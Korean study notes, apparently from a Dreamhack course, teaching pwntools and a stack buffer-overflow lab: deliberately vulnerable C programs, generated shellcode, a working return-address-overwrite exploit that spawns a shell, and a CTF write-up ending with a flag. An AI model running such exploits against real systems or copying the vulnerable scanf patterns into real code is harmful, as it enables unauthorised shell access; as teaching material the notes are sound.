Q1)

Q2)

Q3)
Q4)
Q5)

Q6)
Q7)
a. pwntools의 등장 배경
🚩 파이썬으로 공격 페이로드를 생성하고, 파이프를 통해 이를 프로그램에 전달하는 방식으로 익스플로잇을 수행
ex) 공격 페이로드 코드
$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao
하지만 익스플로잇이 조금만 복잡해져도 이런 방식은 사용하기 어려움.
-> 복잡한 연산 및 프로세스와 반복적으로 데이터를 주고받기를 통해 페이로드 생성해야 함. 따라서 펄, 파이썬, C언어 등으로 익스플로잇 스크립트, 또는 바이너리를 제작하여 사용.
ex) socket 모듈을 사용한 초기 파이썬 익스플로잇 스크립트
#!/usr/bin/env python2
import socket
# Remote host and port
RHOST = '127.0.0.1'
RPORT = 31337
# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# Build payload
payload = ''
payload += 'Socket script'
payload += '\n'
# Send payload
s.send(payload)
# Print received data
data = s.recv(1024)
print 'Received: {0}'.format(data)
패킹 함수(정수를 리틀 엔디언의 바이트 배열로 바꿔줌), 언패킹 함수같은 자주 사용하는 함수들을 반복적으로 구현하는 것은 비효율적
--> 이런 함수들을 집대성한 것이 pwntools 라는 파이썬 모듈
ex) pwntools를 사용한 익스플로잇 스크립트
#!/usr/bin/env python3
from pwn import *
# Make TCP connection
r = remote('127.0.0.1', 31337)
# Build payload
payload = b''
payload += b'Socket script'
payload += b'\n'
# Send payload
r.send(payload)
# Print received data
data = r.recv(1024)
print(f'Received: {data}')
b. pwntools 설치
https://github.com/Gallopsled/pwntools
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
$ python3
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>
c. pwntools API 사용법
(pwntools 공식매뉴얼) https://docs.pwntools.com/en/latest/
*test는 임의의 바이너리이며, process 객체를 대상으로 사용한 모든 함수는 remote 객체에서도 사용 가능
ex)
from pwn import *
p = process('./test') # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
ex)
rom pwn import *
p = process('./test')
p.send(b'A') # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
from pwn import *
p = process('./test')
data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello') # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall() # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장
--> recv()와 recvn()의 차이점 확인. recv(n)은 최대 n 바이트를 받는 것이므로 그만큼을 받지 못해도 에러를 발생시키지 않지만, recvn(n)의 경우 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림.
#!/usr/bin/env python3
\# Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = b"ABCD"
s64 = b"ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))
$ python3 pup.py
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241
from pwn import *
p = process('./test')
p.interactive()
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386" # x86 아키텍처
context.arch = "arm" # arm 아키텍처
(x86-64를 대상, 생성 가능한 여러 종류의 셸 코드) https://docs.pwntools.com/en/stable/shellcraft/amd64.html
#!/usr/bin/env python3
\# Name: shellcraft.py
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드
print(code)
$ python3 shellcraft.py
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
...
syscall
#!/usr/bin/env python3
\# Name: asm.py
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code) # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
d. pwntools 실습
ex) c 예제 코드
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
printf("Input: ");
scanf("%s", buf);
return 0;
}
pwntools로 rao 익스플로잇
#!/usr/bin/python3
#Name: rao.py
from pwn import * # Import pwntools module
p = process('./rao') # Spawn process './rao'
elf = ELF('./rao')
get_shell = elf.symbols['get_shell'] # The address of get_shell()
payload = b'A'*0x30 #| buf | <= 'A'*0x30
payload += b'B'*0x8 #| SFP | <= 'B'*0x8
payload += p64(get_shell) #| Return address | <= '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendline(payload) # Send payload to './rao'
p.interactive() # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
반환 주소 덮기 실습 예제)
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
a. 분석 - 취약점 분석
프로그램의 취약점은 scanf(“%s”, buf)에 있음. scanf함수의 포맷 스트링 중 하나인 %s는 입력의 길이 제한이 없고, 공백 문자인 띄어쓰기/탭/개행 문자 등이 들어올 때까지 계속 입력을 받음.
-> 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우 발생.
-->정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 함.
이외에도 C/C++의 표준 함수 중 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험함. ex) strcpy, strcat,sprintf
따라서 코드를 작성할 때는 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 좋음.
C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성
C계열 언어에서는 널바이트(“\x00”)로 종료되는 데이터 배열을 문자열로 취급하며, 문자열을 다루는 대부분의 표준 함수는 널바이트를 만날 때까지 연산을 진행함.
근데 이때 src에 널바이트가 없을 경우?
문자열 함수는 널바이트를 찾을 때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시킴. 이렇게 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상이 Index Out-Of-Bound(OOB). 그리고 해당 버그를 발생시키는 취약점이 Out-Of-Bound(OOB)취약점. -> 해커는 프로그래머가 의도하지 않은 주소의 데이터를 읽거나 조작할 수 있고 몇몇 조건이 만족되면 소프트웨어에 심각한 오동작을 일으킬 수도 있음.
-> 입력의 길이를 제한하는 문자열 함수를 사용, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야 함.
결론) 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있음.
b. 분석 - 트리거
“A”를 5개 입력)
$ gcc -o rao rao.c -fno-stack-protector -no-pie
$ ./rao
Input: AAAAA
$
프로그램 정상 종료
“A”를 64개 입력)
$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 1828520 segmentation fault (core dumped) ./rao
Segmentation fault라는 에러가 출력, 프로그램 비정상적으로 종료됩
(core dumped)는 코어파일(core)을 생성했다는 것, 프로그램이 비정상 종료됐을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것.
(+ Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성)
a. 분석 - 코어 파일 분석
gdb의 코어 파일을 분석하는 기능 사용
-> 입력이 스택에 어떻게 저장됐는지 확인, 셸을 획득하기 위한 시나리오 작성할 것.
코어 파일 열기)
-> 프로그램이 종료된 원인, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여줌.
$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400729 in main ()
...
pwndbg>
프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')임.
-> 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때 원하는 코드가 실행되도록 조작할 수 있을 것임.
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x400729 <main+65> ret <0x4141414141414141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffc86322f8 ◂— 'AAAAAAAA'
01:0008│ 0x7fffc8632300 ◂— 0x0
02:0010│ 0x7fffc8632308 —▸ 0x4006e8 (main) ◂— push rbp
03:0018│ 0x7fffc8632310 ◂— 0x100000000
04:0020│ 0x7fffc8632318 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */
05:0028│ 0x7fffc8632320 ◂— 0x0
06:0030│ 0x7fffc8632328 ◂— 0x14b87e10e2771087
07:0038│ 0x7fffc8632330 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */
b. 익스플로잇 - 스택 프레임 구조 파악
우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 함. 이를 위해 main의 어셈블리 코드 조사. scanf에 인자를 전달하는 부분을 주목
pwndbg> nearpc
0x400706 call printf@plt
0x40070b lea rax, [rbp - 0x30]
0x40070f mov rsi, rax
0x400712 lea rdi, [rip + 0xab]
0x400719 mov eax, 0
► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt>
format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4: "%s"
scanf("%s", (rbp-0x30));
오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치함.
스택 프레임의 구조를 떠올려 보면 rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장됨. 입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로 그만큼을 쓰레기 값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있음.
b. 익스플로잇 - get_shell() 주소 확인
셸을 실행해주는 get_shell() 함수의 주소로 main함수의 반환 주소를 덮어서 셸을 획득할 수 있음.
void get_shell(){
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
get_shell()의 주소를 찾기 위해 gdb 사용)
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit
get_shell()의 주소가 0x4006aa임을 확인 가능
b. 익스플로잇 - 페이로드 구성
익스플로잇에 사용할 페이로드(Payload, 공격을 위해 프로그램에 전달하는 데이터) 구성.

b. 익스플로잇 - 엔디언 적용
구성한 페이로드는 대상 시스템의 엔디언(Endian)을 고려해서 프로그램에 전달해야 함. 현재는 리틀 엔디언을 사용하는 인텔 x86-64아키텍처가 대상이므로, get_shell()의 주소인 0x4006aa은 “\xaa\x06\x40\x00\x00\x00\x00\x00”로 전달돼야 함.
엔디언: 메모리에서 데이터가 정렬되는 방식. 주로 리틀 엔디언(Little-Endian, LE, 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장)과 빅 엔디언(Big-Endian, BE, 데이터의 MSB가 가장 낮은 주소에 저장) 사용.
엔디언에 따른 메모리 저장 방식)
// Name: endian.c
// Compile: gcc -o endian endian.c
#include <stdio.h>
int main() {
unsigned long long n = 0x4006aa;
printf("Low <-----------------------> High\n");
for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
return 0;
}
$ ./endian
Low <-----------------------> High
0xaa 0x6 0x40 0x0 0x0 0x0 0x0 0x0
b. 익스플로잇 - 셸 획득
엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있음. 파이썬으로 출력한 페이로드를 rao의 입력으로 전달.
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
성공적으로 셸 획득 성공!
// gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <time.h>
void proc_init ()
{
setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0);
setvbuf (stderr, 0, 2, 0);
}
void win ()
{
char flag[100] = {0,};
int fd;
puts ("You mustn't be here! It's a vulnerability!");
fd = open ("./flag", O_RDONLY);
read(fd, flag, 0x60);
puts(flag);
exit(0);
}
long count;
long value;
long idx = 0;
int main ()
{
char name[16];
// don't care this init function
proc_init ();
printf ("the main function doesn't call win function (0x%lx)!\n", win); //win 함수의 주소 알려줌!
printf ("name: ");
scanf ("%15s", name);
printf ("GM GA GE GV %s!!\n: ", name);
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
printf ("hex value: ");
scanf ("%lx%c", &value);
printf ("integer count: ");
scanf ("%d%c", &count);
for (idx = 0; idx < count; idx++) {
*(long*)(name+idx*8) = value;
}
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
return 0;
}


보면 name을 입력받고 있고, 입력한 값이 | 7ffc19b94de0 | 7ffc19b94de8 | stack 안에 저장된다.
그 stack 안의 값을 win 함수 주소 값으로 대체해야 한다.

리턴 주소인 7ffc19b94df8를 win 함수 주소인 0x40125b로 바꾸면 win 함수가 호출되어 flag를 확인할 수 있다.
DH{62228e6f20a8b71372f0eceb51537c7f94b8191651ea0636ed4e48857c5b340c}